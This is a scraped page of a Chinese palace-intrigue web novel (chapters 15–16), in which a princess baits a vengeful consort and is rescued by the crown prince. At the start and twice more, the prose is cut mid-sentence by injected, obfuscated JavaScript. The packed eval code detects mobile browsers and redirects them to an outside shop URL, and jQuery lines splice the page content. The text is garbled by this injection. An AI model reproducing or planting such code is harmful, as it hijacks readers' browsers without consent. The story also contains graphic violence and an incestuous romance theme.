;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“是,我恨他!我琴棋书画样样精通,样样都比他强,他是男子,母亲便对他百般宠爱,处处维护,只因我是女子,从小到大,他犯错,母亲责罚的都是我,难道我就不是母亲的孩子吗?” “哥哥什么都做不好,母亲依然将所有的疼爱都给了他,而我无论做的有多好,母亲永远都看不到我,既然母亲只喜欢哥哥,那为什么要生下我!” “我也是母亲的孩子啊,母亲只关心哥哥,可曾关心过我在东宫过的好不好,殿下待我好不好呢?” 王夫人一巴掌打在崔媛媛的脸侧,“我没有你这样的女儿。若你哥哥有个三长两短,我饶不了你。” 崔媛媛捂着脸跑了。 萧晚滢突然有点兴致缺缺,对珍珠道:“走吧。” 看在今日崔媛媛这么可怜的份上,只要她不搞事,她便懒得再去找她的麻烦。 可没想到,崔媛媛今日出门没看黄历,刚走没多远,便被两个宫女拦着,“贵妃娘娘请崔大小姐过去品茶。” 当初魏帝为了和继后赏梅,命人在梅园中修建了不少楼台暖阁,此刻刘贵妃正站在名叫落梅阁的阁楼上,居高临下地看着崔媛媛。 崔媛媛心中一咯噔,没想到刘贵妃螳螂捕蝉黄雀在后,在这里等着她。 她急忙对朝露使眼色。 朝露立刻会意,想去找太子求救,可没想到被一名宫女,一脚踹腰上,跌倒在地上,怒道:“给我按住她。” 那宫女对崔媛媛说道:“崔大小姐,请吧!” 崔媛媛情急之下,高声道:“华阳公主,不想去贵妃娘娘哪里讨杯茶喝吗?” 萧晚滢要气笑了,不愧是崔媛媛,死都要拉一个垫背的。 四皇子死了,刘贵妃哪里相信自己的儿子是醉酒落水,将满腔怨恨都发泄到崔玉的身上,可崔玉却死都不认,她没有证据,加之皇帝施压,她只得向世家妥协,将人放了,郁结在心中的这口气又怎能咽下。 崔玉她不能动,她在崔家受的气,那便由崔玉双生妹妹,崔媛媛受着。 若不是崔媛媛提醒,她差点要忘了萧晚滢这个贱人了。 虽然四皇子不是她杀的,但她在继后那里受的气,在东宫受的窝囊气,她都要一一报复。 刘贵妃看向萧晚滢,冷声道:“将华阳公主也一并带过来吧。” 萧晚滢冷笑道:“崔媛媛,本宫说你怎么尽干这种损人不利己的事?” 崔媛媛却道:“那可不见得。若是有人发现华阳公主不见了,自然会来找贵妃娘娘要人。” 但她就没这样的好福气了。 太子为了华阳公主,不惜与贵妃对峙,让华阳公主扮成男子,替代楼星旭,以伴读的身份留在东宫,甚至为了护她周全,严令东宫中人进出。 那楼星旭自小爱慕她,为了引起她的注意,每天都想方设法在她跟前晃,他从小在军营长大,是洛京城中的小霸王,精力极其旺盛。 曾经他几次拦着她的马车,邀她踏青游玩,都被她严词拒绝,可楼星旭竟然还不死心,让他的父亲去崔家提亲,却被楼将军凑得一瘸一拐,第二日仍然跑来拦她的马车,告诉她,他不会放弃娶她的。 那样的人又怎会一病不起,半个月都下不了床,也不知太子用了什么手段。 太子还真是为了萧晚滢,什么都做的出。 尽管她不愿承认,但萧珩确实在乎萧晚滢。 她没有把握太子能来救自己,但她敢肯定太子一定会来救萧晚滢。 华阳公主身上穿的这件锦袍,白色锦袍,祥云暗纹,袖口用金线绣着龙纹。 这是萧珩的衣裳。 她暗暗握拳。 萧晚滢却坦然道:“正好,半月未见,本宫去向贵妃请安。”正好会一会老熟人。 “崔大小姐还愣着做什么?再不走,茶都要凉了。” 崔媛媛反而很诧异萧晚滢那副淡然态度,若不是刘贵妃痛恨继后,恨屋及乌,同样恨极了萧晚滢,她差点要以为萧晚滢和刘贵妃合谋给自己做局。 15.第15章 一进暖阁,宫女便堵了珍珠的嘴,不许她叫嚷,而萧晚滢和崔媛媛是被生生拖上去的。 萧晚滢被拖上三楼,那日日用牛乳娇养的肌肤不断地摩擦,擦伤,像刀割一般疼。 尤其是手臂上的那道擦伤,伤口裂开,裹伤的纱布上满是斑驳血迹。 萧晚滢此刻后悔不已,她自小身弱,当初就应该多听太子哥哥的话,跟萧珩学一些强身健体的拳脚功夫,也不至于受制于人,全然没有反抗的余地。 刘贵妃厉色道:“跪下,掌嘴!” 萧晚滢笑道:“贵妃请本宫来喝茶,若是本宫带着一身伤回去,父皇怕是会责怪贵妃!” “是吗?”刘贵妃挑了挑眉,走到萧晚滢的面前,抬手一掌打在萧晚滢的脸侧,“但若是华阳公主自己摔的,可怪不到本宫的头上。” 萧晚滢被打,却笑了,忍着剧痛,挣扎着爬起来,“是,这里都是贵妃的人,自然是什么都是贵妃说了算,那就当是本宫自己摔的吧!” 萧晚滢一瘸一拐地走到窗边。 这三层高的暖阁是为了继后和魏帝赏梅而建,四面皆是琉璃所制。 继后身体柔弱,既可不受冻,又能在此处欣赏风雪之中梅花尽数绽放的绝美风景。 萧晚滢眺望梅林的景致,突然叹息道:“贵妃痛失爱子,本宫体谅你的心情。” 就连崔媛媛都觉得萧晚滢定是疯了,提及萧睿,无疑是拿刀戳刘贵妃的心窝子,火上浇油。 既然落到贵妃的手里,她便应该要低调些,这样也能少吃些苦头,她不由得跪着往后退了几步,离萧晚滢远一些,免得萧晚滢发疯,连累自己受罪。 果然,提起萧睿,刘贵妃成功被激怒了,眼神狠戾,大步上前,一把掐住萧晚滢的脖颈,将她逼到窗边,猛地推开窗子,冷风不停地窗子里灌,不停地吹刮着她的面颊,吹散了她的头发,三月里那带着霜雪的冷风吹得她脸上的肌肤生疼,耳畔是呼呼风声。 她被扼住了咽喉,逼至绝境,半个身体都已经被逼出了窗外,呼吸困难,面色通红,她抓住刘贵妃的手,仍是大声笑着:“贵妃刚失去了四皇子,固然伤心难过,那三公主呢?贵妃可还在乎萧姝?” 刘贵妃震惊地问道:“你说什么?我的姝儿怎么了?” 萧晚滢所处的位置正好可看见到魏帝所在的听雨阁。 刘贵妃顺着萧晚滢的目光往那听雨阁望去。 只见萧姝脚步踉跄闯进了听雨阁,因兴奋激动大喊道:“慕容卿,本公主抓到你了!” 她冒冒失失去闯进去,却不料被魏帝身边的御前护卫拔刀架在她的脖子上。 “三公主可知这是什么地方?没有陛下的旨意任何人都不能擅闯,三公主应该知道无旨擅闯,惊扰了陛下会有怎样的后果!” 冰冷的刀架在脖子上,萧姝酒醒了大半,待她看清了拔刀之人,只觉两股战战,腿软跌跪在地上。吓得赶紧磕头求饶,“父皇,儿臣不是故意的,求父皇饶命!” 可惜已经迟了。 魏帝阁楼之上发出一声暴戾的怒吼,“让那个贱人给朕跪着,汪德全,替她醒酒!” 魏帝因纵情酒色,肾气亏损,每次都需服用药物以助房事,但长此以往,药物也不管用了,时灵时不灵,两位美人使尽浑身解数才能让魏帝有了兴致,可却因为萧姝的突然闯入,好事行到一半,受了惊,却突然偃旗息鼓,功亏于溃。他自是暴怒非常,恨不得亲手掐死萧姝。 刘贵妃见到这一幕,惊怕交加,也终于松开了萧晚滢的脖颈,她知皇帝近几个月来越发暴戾,房事不顺,便是勉强行事,也无法尽兴,若被人扰了好事,怕是会拔剑杀人的,又见那侍卫的刀架在了萧姝的脖子上,顿时吓得魂飞魄散,面色煞白。 萧晚滢唇角勾笑,望向窗外,只见三公主萧姝被两名侍卫按在地上。 汪福全道:“三公主横冲直撞,任性妄为,可莫要怪老奴下手没个轻重,来人!” 两名太监抬来了一个大木桶,那木桶里的装着满满的一大桶冷水,萧姝拼命的摇头,“求父皇饶命,姝儿再也不敢了!” 可不管萧姝如何恳求,听雨阁中人都无动于衷,汪福全笑着上前,“老奴替公主醒醒酒。” 萧姝拼命地摇头,“汪福全,你不要过来,本公主命令你不要过来……啊——” 汪福全让人按住萧姝,一把按住萧姝的头,将她按进木桶中。 萧姝拼命地挣扎,手中的狐狸面具掉落在地上。 刘贵妃心如刀绞,惊恐大喊,“姝儿!” “来人,赶紧随本宫去听雨阁!” 她只想赶紧从汪福全的手中救下她那可怜的女儿。 萧晚滢却大笑道:“痛吗?” 见到自己的女儿被人如此折磨,应该很痛吧。 她仰头看向天空,伸出手,就好像要抓住什么,最后只能将双手交叠在胸口,紧紧地抱着自己,“因为我的母后也会心痛的。” 刘贵妃折磨她,她的母后若是泉下有知,也会痛啊! 就在刘贵妃打算带人去救萧姝之时,萧晚滢唤住了她,“今日父皇在听雨阁宠幸了两位美人,这两位美人是汪福全专门替父皇在民间搜寻而来,据说同母后长得有七分相似,原来贵妃竟不知啊?” 萧晚滢便是如此,她根本就不会对他人屈服转圜,也不屑于对刘贵妃低头。 崔媛媛虽然讨厌萧晚滢,但却羡慕她有不屈服的勇气,或许是被人绝对的信任过,偏爱过,才有这种宁折不弯,对抗一切的勇气。 显然,她的底气都是萧珩给的。 崔媛媛是既羡慕又嫉妒。 萧晚滢一句话便戳到了刘贵妃的痛点。 这便是刘贵妃最害怕的事,她好不容易才熬到继后死了,但新的危机又来了。 宫里人见继后得宠,人人都在学继后的妆容、穿戴,学她的神态举止,甚至不惜故意生病,以求让那柔弱病美人的状态更逼真。 尽管她已经责罚了那些争先恐后效仿的宫妃,却有更多人前赴后继。 如今她最担心的事出现了,魏帝从宫外搜罗与继后容貌相似的美人进宫。 难保不会又出现第二个傅兰若,她们一旦得宠,都会分走她的宠爱,将来甚至还会越过她贵妃的位分,夺走她梦寐以求的皇后之位。 她绝不能容忍。 而她深知魏帝长期服用五石散,已然上瘾,在生气暴怒时还会出现了幻觉。 魏帝在房事之上力不从心,需辅助药物,她知在他临幸美人,不能打扰,更不能去求情,因为魏帝只会更愤怒,更暴躁, 她只能眼睁睁地看着自己的女儿,一次次地被按进浴桶之中,脸色惨白,浑身发抖,哭喊声也越来越微弱。 虽然这里离听雨楼有一段距离,但她可以从萧姝的口型判断,她喊的是,“母亲,救我!” 刘贵妃绝望地捂住耳朵,她只能眼睁睁地看着,无能为力,而萧姝在被溺在水中的那一幕,也让她不由得联想到儿子萧睿在溺亡前,是否也是这样,呼唤着她的名字,喊“母亲救命”,最后却只能一次又一次地沉入水底,受尽痛苦,绝望地死去。 痛。 她的心疼得快要窒息了。 密密麻麻的疼痛好似一张密网,将她包裹住。 她捂住头。 感觉里面好似千万根细针一道扎了进去,那里疼得快要裂开。 自从萧睿死后,她整夜整夜的睡不着,失眠,悲伤,痛彻心扉,头痛欲裂。 越疼就越睡不着,越睡不着,就越痛。 “本宫的头好痛!” “快给本宫叫太医!”刘贵妃不堪忍受,竟一头栽倒在了地上。 几个宫女一阵手忙脚乱,将刘贵妃扶上了床榻。 有的给刘贵妃奉茶,有的给她按摩缓解头疼。 而刘贵妃突发的头痛,也让萧晚滢有了喘息的时刻。 她坐在地上,抚上了脖颈,唇角勾笑,刘贵妃让她疼,那她便千倍百倍的奉还。 过了许久,刘贵妃终于从头痛中缓解了过来,恨恨地看向萧晚滢,终于明白,怒吼出声,“是你,是你害的姝儿!” 萧晚滢并未否认。 的确是她给醉酒的萧姝指了一条错误的路,她要寻那位燕国质子,她反手给她指了听雨楼。 就像她知道刘贵妃一定要对自己下手,她今日还要来观梅园。 故意让自己置身险境。 “果然是你,你这个贱人!” 刘贵妃猛地向萧晚滢扑过去。 这一次,萧晚滢在刘贵妃扑过来的那一瞬,一把抓住了她的手腕,借助她的力道,猛地将自己逼退,逼向那打开的窗子。 她一只脚已经踏出了窗子,整个身体都摇摇欲坠。 宫女们都齐声惊呼,眼看着萧晚滢和刘贵妃要摔出去,赶紧冲上前去,紧紧地抓住刘贵妃。 刘贵妃也吓了一大跳,萧晚滢突然发疯,竟会借助她的力道将她推出窗外,她到底想做什么? 只见她看向窗外,用口型喊出了两个字。“青影。” 萧晚滢不知从哪里来的力气,死死地抓着刘贵妃的手腕不放,借助刘贵妃的力道,将自己往外推。 “萧晚滢,你疯了吗?” 随着萧晚滢看向窗外,她也顺着萧晚滢的视线往过去,只见一位身着青衣,带着面具的女子飞快地施展轻功离去。 刘贵妃高声道:“快拦住她。” 可青影身手极快,早就已经消失不见。 以那女子的身手,完全可以闯进来,救下萧晚滢,那女子却并未施救,就在她的眼皮子底下逃了。 但刘贵妃很快意识到,那女子不是逃走,而是去搬救兵。 萧晚滢的搬的救兵,必定是皇太子萧珩。 刘贵妃心中骇然,若等到萧珩前来发难,那她还不如一不做二不休,将萧晚滢推下去,再将这里所有人都灭口。 咬死萧晚滢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875351|190486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不慎坠楼身亡。 萧晚滢好像猜到了刘贵妃的心思。 突然大笑:“萧睿死得可真惨!” “他死前眼睛睁得大大的,死不瞑目,还口吐鲜血,不停地说着让母妃为他报仇。” “你听,是萧睿在哭!” “呜呜,呜呜……” 萧晚滢嗓音暗哑,带着哭腔,令人毛骨悚然。 “你听,是他在质问你,说你为什么不给他报仇,他在质问你,你为什么要放过崔玉,为什么要放过崔家!” 崔媛媛脸色一白,心中又惊又怕,原来萧晚滢在这里等着她呢! 四皇子死了,刘贵妃不得已放了兄长,积累了满腔的怨气,她知道今日刘贵妃唤她前来是为了泄愤,知晓刘贵妃绝不会放过她。 她将萧晚滢拖下水,心中所想是萧珩定会来救萧晚滢,而她便也可趁势全身而退。 而如今萧晚滢激怒了刘贵妃,刘贵妃要杀萧晚滢灭口,那自是最好不过,她便可借刘贵妃之手除去萧晚滢这个眼中钉。 可没想到萧晚滢层层套路,还是没打算放过她。 她急忙解释,“贵妃娘娘,四皇子之死与崔家无关,您莫要受人挑拨!” 她当然也知道真相如何,但根本就不重要,刘贵妃只是因为萧睿死了,她要找人发泄,找人承担萧睿之死的后果,所以在她心中早就认定了崔玉就是凶手,认定了生养崔玉的崔家同样可恨。 她知道自己的解释苍白无力,情急之下,高声道:“华阳公主,海棠别院那晚到底发生了什么?还有太子殿下为何会为你遮掩,说你不在东宫。还阻拦贵妃娘娘与你见面,事后还让你代替楼星旭,以伴读的身份留在东宫?” “若你真的什么都没做,为什么要心虚躲在东宫避门不出!” 崔媛媛为了自己不被刘贵妃苛待,故意将萧睿死之事往萧晚滢身上引。 萧晚滢反问道:“崔小姐是想说,是我杀了萧睿吗?是想把崔家犯的事都栽赃在我的头上?” 萧晚滢笑道:“你们崔家一向如此,皆是道貌岸然的伪君子,擅长的事便是栽赃陷害,构陷杀人,难道不是吗?” 其实萧晚滢和刘贵妃说这些不过是拖延时间,拖到太子前来, 崔媛媛看穿了萧晚滢的心思,急忙道:“你不过是拖延时间,想让表哥来救你。” 崔媛媛如此说,只是为了堵住萧晚滢最后一条生路。 萧晚滢看了崔媛媛一眼,笑道:“自我看到你的第一眼起,我便觉得你不简单,你如此有心机有手段,并非表面那般单纯无害,你的太子表哥知道吗?” 崔媛媛道:“表哥不需要知道,他永远只需看到我最好的一面。” “可这样活着多累啊!”永远戴着面具活着,永远都无法展现真实的自己,无时无刻都在装,这样的还是她自己吗? “只可惜,要让你失望了。” 当她看到那黑色的鹿皮靴时,萧晚滢高声喊道:“贵妃娘娘为什么要推我!贵妃娘娘不能因为四皇兄之死便迁怒阿滢,母后死了,你们仗着阿滢无依无靠,无人庇佑,就都来欺辱阿滢吗?横竖阿滢就只有这一条命,贵妃娘娘想要便拿去便是!” 萧晚滢主动放开了刘贵妃的手。就在她就要坠楼之时,萧珩已经闯入落梅阁,一把抓住了萧晚滢的手臂,将她往上一拽,她已稳稳地落在萧珩的怀中。 而他另一手执剑,剑已经横在刘贵妃的颈侧。 刘贵妃吓得一抖,脖颈一凉,随之一阵剧痛袭来。 利剑削断了她垂在脖颈处的一缕发丝,割破了她的脖颈,划破了一道口子,只是不致命。 但刘贵妃被萧珩那冷厉的眉眼震慑住,那股从沙场上征战带来的杀伐气度,她竟腿软吓得跌坐在地上。 萧珩那猩红的眼眸,狠厉的神色,就像是地狱里的修罗恶鬼。 刘贵妃第一次心生惧意。 半晌,才哆哆嗦嗦地开口,“萧珩,难道你敢杀本宫吗?本宫是贵妃,是你的庶母。” 萧珩并未收剑,冷笑道:“孤不杀你。” 他说的是不杀刘贵妃,并非是不敢杀。 只见萧珩剑锋一转,白光一闪。 暖阁中的宫女被长剑抹了脖颈,一剑割喉,倒在了刘贵妃的身上,鲜血四溅,刘贵妃的眼前血红一片,宛若身处修罗场。 刘贵妃发疯般地大声尖叫。 萧珩见到萧晚滢脖子上的掐痕,眼神冷若冰霜。 敢伤萧晚滢,他可以不杀她,但会让她生不如死。 “表哥,救我。” 萧珩冷眼看向崔媛媛,那犀利的眼神,就好像能洞穿人的内心。 “抓紧了。”他只是柔声对萧晚滢说了一句,不管崔媛媛如何哀求,一手抱着萧晚滢,一手执剑,大步离开。 刘贵妃在身后大喊道:“太子别忘了,华阳公主已是卢照清的未婚妻,卢家已对圣上请旨将婚期提前,圣上已经同意让华阳后日出嫁。” 16.第16章 萧晚滢抱着萧珩的脖颈,乖巧地依偎在他的怀中。 听到刘贵妃的话,突然变得格外安静。 她担心的事终于要来了。 萧珩会同意出嫁吗? 他应该会同意的吧! 她想到了萧珩不远千里送来的那对大婚贺礼。 萧晚滢心想,萧珩定然巴不得她早点出嫁了,早些将她赶出东宫。 “疼。” 她不想听到萧珩提出要她嫁人的话,装作虚弱的模样赖在他的怀里。 “孤可以考虑你说的,让卢二进军营,参与兵器改良和机关设计。” “啊?”萧晚滢惊讶地看着他,不太明白萧珩为何会突然提起让卢照清进军营,他到底是何用意,到底是什么目的? “孤会尽量补偿他……” 真是说曹操曹操就到,才出了暖阁, 萧晚滢便见到卢照清就站在不远处。 想必是得知萧晚滢被刘贵妃叫走,心急如焚,着急赶来,又见到萧晚滢脸色苍白,脖颈上还有一道明显的掐痕。 卢照清袖中的手紧紧握紧,不禁红了眼眶,满肚子的关切的话语被堵在心口,最后只能哑着嗓子,唤了声,“公、公主殿下。” 萧晚滢微微皱眉。 对萧珩说道:“太子哥哥,你先放我下来。” 萧珩却并未放下她,反而紧握她的腰侧。 萧晚滢心中欢喜,心中突然生出了一个念头,萧珩会不会有那么一点点舍不得,舍不得让她这个妹妹出嫁呢? “我有几句话想对卢照清说,说完便会同哥哥回去,乖乖回去养伤。” 萧珩皱眉看向卢照情,良久才道:“好。” 萧珩答应了,但并未离去,就在不远处看着她和卢照清。 卢照清本就害怕太子,方才得知萧晚滢被刘贵妃带走了,他焦急赶来,见到萧晚滢受伤,更是心痛如绞,回头便见到英武不凡,满满压迫感的太子,千言万语,一句也说不出。 尤其是现在,太子就这样一句话也不说,静静地看着自己。 卢照清感到背后一阵阵发寒,掌心却是汗涔涔的。 他知萧晚滢从小和太子同吃同住,对萧晚滢而言,太子如兄如父。 他突然明白,太子为何用这种眼神看着他了,去年二姐出嫁,父亲便是以这般眼神看二姐夫,处处都看不顺眼。 而太子突然蹙眉,他更是吓得浑身冷汗直流,不停地擦拭额上的冷汗。 萧晚滢觉察到卢照清的不自在,回头一看,只见萧珩正在不远处看着自己和卢照清。 她弯了弯唇。 看来,萧珩这是不放心她和卢照清相处嘛,当初还假模假样送她玉佩贺她成婚,如今不放心的却是他。 她突然起了逗萧珩的心思。 她对卢照清伸出手,“呆子,本宫腿痛,你扶着本宫。” 卢照清慌忙伸出手,搀扶着萧晚滢缓缓往前走。 她想看看哥哥的反应,骤然回头,萧珩却不见了踪影。 萧晚滢咬牙。 看来也没那么放不下她。 “哼。”萧晚滢冷冷一哼。 卢照清关切问道:“公主怎么了?” 萧晚滢盯着卢照清,突然变了脸色,怒道:“是谁!没有本宫的允许,是谁将你弄成了这副样子!” 她一把抓住卢照清的手,“连本宫人都敢动,实在可恨!走,本宫这就为你出气。你就是太老实了,被欺负了也不知还手。” 掌心的小小手掌软软的,暖暖的,暖意从掌心传来,卢照清红了眼眶。 卢照清贪恋掌心的温暖,可他来之前已经下定了决心,此刻鼓起勇气说道:“公主殿下,臣已请求圣上为我们做主退婚。” “是臣辜负了公主,臣配不上公主。” 萧晚滢简直不敢相信自己的耳朵,不敢相信眼前这个其貌不扬的卢照清,她曾经瞧不上的卢二郎,竟然提出和她退婚。 她气得双手叉腰,抬起了手掌,想大骂卢照清一句混账。 她虽不想嫁给卢照清。但也当是她不喜欢卢照清,不想要卢照清,哪里轮得到卢照清来提退婚。 “呵!卢照清,你真是好样的。” 萧晚滢心里的怒火压不住,指着卢照清的鼻尖,那个老实憨厚的男子,恨不得将头低到地底下,做出一副逆来顺受的谦卑姿态,她却不忍骂他。 “理由?”萧晚滢几乎是咬牙切齿地道:“若你今日说不出理由,本公主打死你!” 卢照清摇了摇头,公主说出的话虽凶,但那扬起的手还是落下了。 “不说是吧?” 萧晚滢冷笑道:“难道是本公主配不上你?” 卢照清连连摇头。 “那是你不喜欢本宫?” 卢照清脱口而出,“不是。” 他怎会不喜欢呢?他喜欢公主,好喜欢好喜欢,将她看得比自己的命还要重要。 萧晚滢心里的气消了一些,软了软语气道:“看来你是为了本宫着想。” 卢照清犹豫了片刻,还是摇了摇头。 “你不说,那让本宫来猜猜,原本卢家不满意这桩亲事,想与本宫退婚,却因为刘贵妃,你父亲卢明礼却突然改口,还主动请旨将婚期提前,你是怕本宫下嫁你们卢家之后,被卢家人刁难,而你在卢家没有话语权,担心自己护不住本宫,是也不是?” 卢照清轻轻叹了口气,公主素来聪慧,他就知道什么都瞒不过公主。 她缓缓走近卢照清,“原来阿照是为本宫着想。” 卢照清抬眼看向萧晚滢,看着她那双若桃花花瓣般美丽的眼睛,那双美丽的眼睛能让他深深地陷进去。 他又怎会不喜欢她呢! 那样明媚如春花的女子,一见便终身难忘,他恨不得将萧晚滢捧在手心里,将世间最好的都给她。 可他知道,从他那晚撞破萧晚滢设计杀萧睿,便知道自己再喜欢萧晚滢,都无法再和她在一起了。 因为华阳公主高洁神圣,在他的心中,公主堪比天上的神女。 倘若华阳公主真的嫁给了他,今后的每一日,与他相处的每一刻,都会提醒着她,她曾手染鲜血,曾杀过人。 神女又怎能有污点呢! 而他的父亲,眼中只有利益,对刘贵妃唯命是从,他虽不聪明但也看得明白,父亲觉得继后已死,尚公主于卢家再无助力,此前逼他退婚,如今却突然改变了主意,主动将婚期提前,应该是刘贵妃的命令。 刘贵妃和继后斗了一辈子,四皇子又死在了萧晚滢的手中,刘贵妃无非就是等华阳公主出嫁,再借卢家磋磨公主。 毕竟长公主就是死于内宅阴私,三次流产之后,最后悬梁自尽。 卢照清知道,他文不成武不就,在卢家过得卑微,他自己受委屈也就罢了,可他不能让华阳公主嫁过去跟着他受苦。 卢照清数日来辗转难眠,终于下定决心和圣上提了退婚。 萧晚滢抬手,轻轻碰在卢照清的脸侧,“疼吗?” 突然,从不远处的梅林中,发出“咚”地一声响。 不知何时,萧珩竟然让人摆了桌案,手中的杯盏重重地搁在桌案之上,杯盏顿时碎成了四分五裂。 萧晚滢扑哧笑出声来,原来萧珩根本就没离开,而是寻了在梅林中煮茶,假装赏花,暗中窥探。 她对卢照清说了一句,“等我。” 便提裙跑向了萧珩。 没想到兄长竟然还会吃醋,不过谁让他当初连夜跑到了豫州,还给她寄那些所谓的贺礼。 真是活该! 萧晚滢不禁在想,如今她只是和卢照清多说几句话,他便如此生气,若真到了将来她要嫁人的那一天,萧珩还不知会吃醋生气成什么样子! 萧晚滢幸灾乐祸地想,谁让这冰块脸什么什么都藏在心里,还要想方设法赶她走的。 见到萧珩这副模样,萧晚滢突然觉得心情不错。 她小跑至萧珩的面前,她心情不错,也愿意哄哄他,悄声说道:“太子哥哥,阿滢最最喜欢你!” 说完之后,看着萧珩以极小的弧度弯起了嘴角,而后又一口气跑到了梅林中。 萧晚滢再回到卢照清身边,抓住他的手,“走,本宫为你出气。” 辛宁看着萧晚滢远去的背影,道:“公主那架势好像是要去打架。属下可要拦着公主?” 华阳公主素来行事大胆张扬。 那卢家也是世家大族,待会若是闹得太难看,动起手来,恐会打破皇家和世家多年来的平衡。 世家一直压着皇权,各大世家以崔家为尊,但却有着一种默契,那就是世家权利至上,一致对外。 当皇权和世家的利益相冲突之时,只要不动摇国本,历代大魏皇帝会选择给世家让利,让世家子弟入仕为官,给他们特权。 这也是魏氏能一直稳坐皇权,历代先祖对现任皇帝的忠告。 萧珩突然起身,“孤给她撑腰去。” 辛荣惊愕不已。 殿下怎么也纵着公主一起胡闹呢! 不过太子殿下是他见过的最强大,是最有谋略的君主。若大魏有人能结束这世家压制皇权的局面,放眼整个大魏,有且只有一人,那便是萧珩。 “今日,殿下的心情看上去好像不错。” 上一刻阴云密布,却因为华阳公主一句话便晴空万里。 辛荣隐隐感到有些担心。 担心某种东西渐渐地不受控了,确切来说是太子殿下身上一直压抑着的东西正在释放。 而且他感觉,是太子主动解除了禁锢,他主动释放了压抑许久的情感。 但华阳公主是太子的妹妹啊。 太子真的要这么做吗?他怎能这样做!于伦理难容,天下难容! 这么做,便是万劫不复! 太子殿下真的打算以一己之力与天下作对吗? 这样也太疯狂了。 萧珩道:“孤会给卢照清补偿,给他官职,让他进军营,甚至给他爵位,只要他肯放弃萧晚滢。” 他无法眼睁睁地看着萧晚滢嫁人,无法看着她和别的男子亲近。 那藏在深夜里的疯狂的念头,每见到萧晚滢一次,便滋长一分,他越是压抑,便越渴望,便渴望就越想得到,想占有。 * 当萧晚滢拉着卢照清赶到归梅园中的六角凉亭之时,卢明礼正在和几位文官吟赋提诗。 只见卢明礼拿出青莲居士的梅花傲雪图,与同僚们正在赏画,几句吹捧之言,几杯酒下肚,卢明礼就要飘飘欲仙了。 他轻轻抚着下巴上好不容易才蓄起来的山羊胡。 对那画思考了半响,轻拢紫色官袍,提笔写下心中酝酿的诗句。 心想他几天前为了今日宫宴想出的诗句,定能赢得满堂喝彩,他将这诗文献给皇上,定能引得圣上夸赞。 如今崔家流年不利,崔时右唯一的儿子被人断了命根子,崔家绝了后,百年大族,无人为继,那世家之首的位置,未必不能由卢家取代而代之。 对比崔玉,他的两个儿子更有出息,只要他助三皇子得到太子之位,他的两个儿子便能凭借东风,平步青云,仕途一片光明。 至于次子,卢照清本就不出众,当初继后想将爱女嫁给卢照清,他觉得那个平平无奇的次子卢照清走了狗屎运。 可没想赐婚不到一年,继后就死了,华阳公主的身份变得尴尬起来。 魏帝性子冷漠,并不看重亲情,往日因为宠爱继后,便疼爱这个女儿多一些,可魏帝公主皇子众多,就连嫡公主夭折,魏帝也只是掉几滴眼泪,悲痛几日。 都说萧晚滢得太子宠爱,但毕竟不是亲生的兄妹,更何况太子身后是崔家。自然也只会偏向崔家,他卢家又能沾到几分好处? 几番权衡,加之贵妃施压,卢明礼想将这场婚事给退了,可没想到卢照清那个死脑筋,对华阳公主死心塌地,尽管被他揍鼻青脸肿,仍然不肯放弃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16879871|190486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这门亲事。 他原本还担心被刘贵妃怪罪,但四皇子死了,刘贵妃没心思找他算账,近日刘贵妃却突然改变了主意,想让华阳公主提前嫁入卢家,刘贵妃的吩咐,他自然要照做。 可卢照清那混小子却突然要和华阳公主退亲,可把他气得不轻,气得又打了他一顿,不过卢二平庸,在卢家是不起眼的存在,他的想法并不重要,一切都在他的掌握之中。 卢明礼自信满满地打算提笔写下那句诗文,满心期待同僚的吹捧。 “卢大人真是好雅兴啊!” 卢照清吓得一跳,手一抖,青莲居士的封笔之作上落下了一大团墨点。 他的眉心也跟着跳了跳。 回头便见华阳公主脸色不善地看着自己。 那逆子就站在华阳公主的身后,他的眉心不自觉地皱起。 他不喜华阳公主还有一个很重要的原因,华阳公主行事张扬大胆,毫无公主应有的端庄温婉。这样桀骜不训的女子,若非出身皇家,他是断然不会同意让她进卢家的门。 但眼下的任务是促成这门亲事,让刘贵妃满意,好以此去换取卢家和两个儿子的前程,于是卢明礼躬身行礼,“微臣参见公主殿下。” 不动声色地看了卢照清一眼,笑道:“三日后便是犬子和公主的大喜之日,今后便是一家人。” 卢照清知老父亲的算计,急忙道:“陛下已准我和华阳公主解除婚约。” 卢明礼怒得扬起手掌,呵斥:“逆子!” “卢明礼!谁允许你打本宫的人!”萧晚滢急忙喝止,卢明礼见公主动怒,吓得缩回手掌,跪在地上。 她当着文武百官的面,拉着卢照清的手,高举,“从今天起,卢照清是本公主的人,绝不容许他人轻贱!” “本宫这个人心眼小,最是护短,若是有谁胆敢再碰他一下,本宫十倍奉还!” 这话明显是说给卢明礼听的。 卢照清脸上有道明显的指印,明眼人一看就知道这巴掌印是卢明礼打的。 可当老子的管教儿子乃是天经地义,卢明礼脸上白一阵,红一阵,华阳公主不是当众打他的脸吗? 他好歹也是太尉,位列三公,祖上也是助大魏的开国君主打下江山的。 “公主,老臣教训自己儿子,老子打儿子,那可是天经地义,难道公主还要管老臣的家事吗?” 萧晚滢冷笑道:“家人?那你可有将卢照清当成你的家人?真正将他当成你的儿子?” 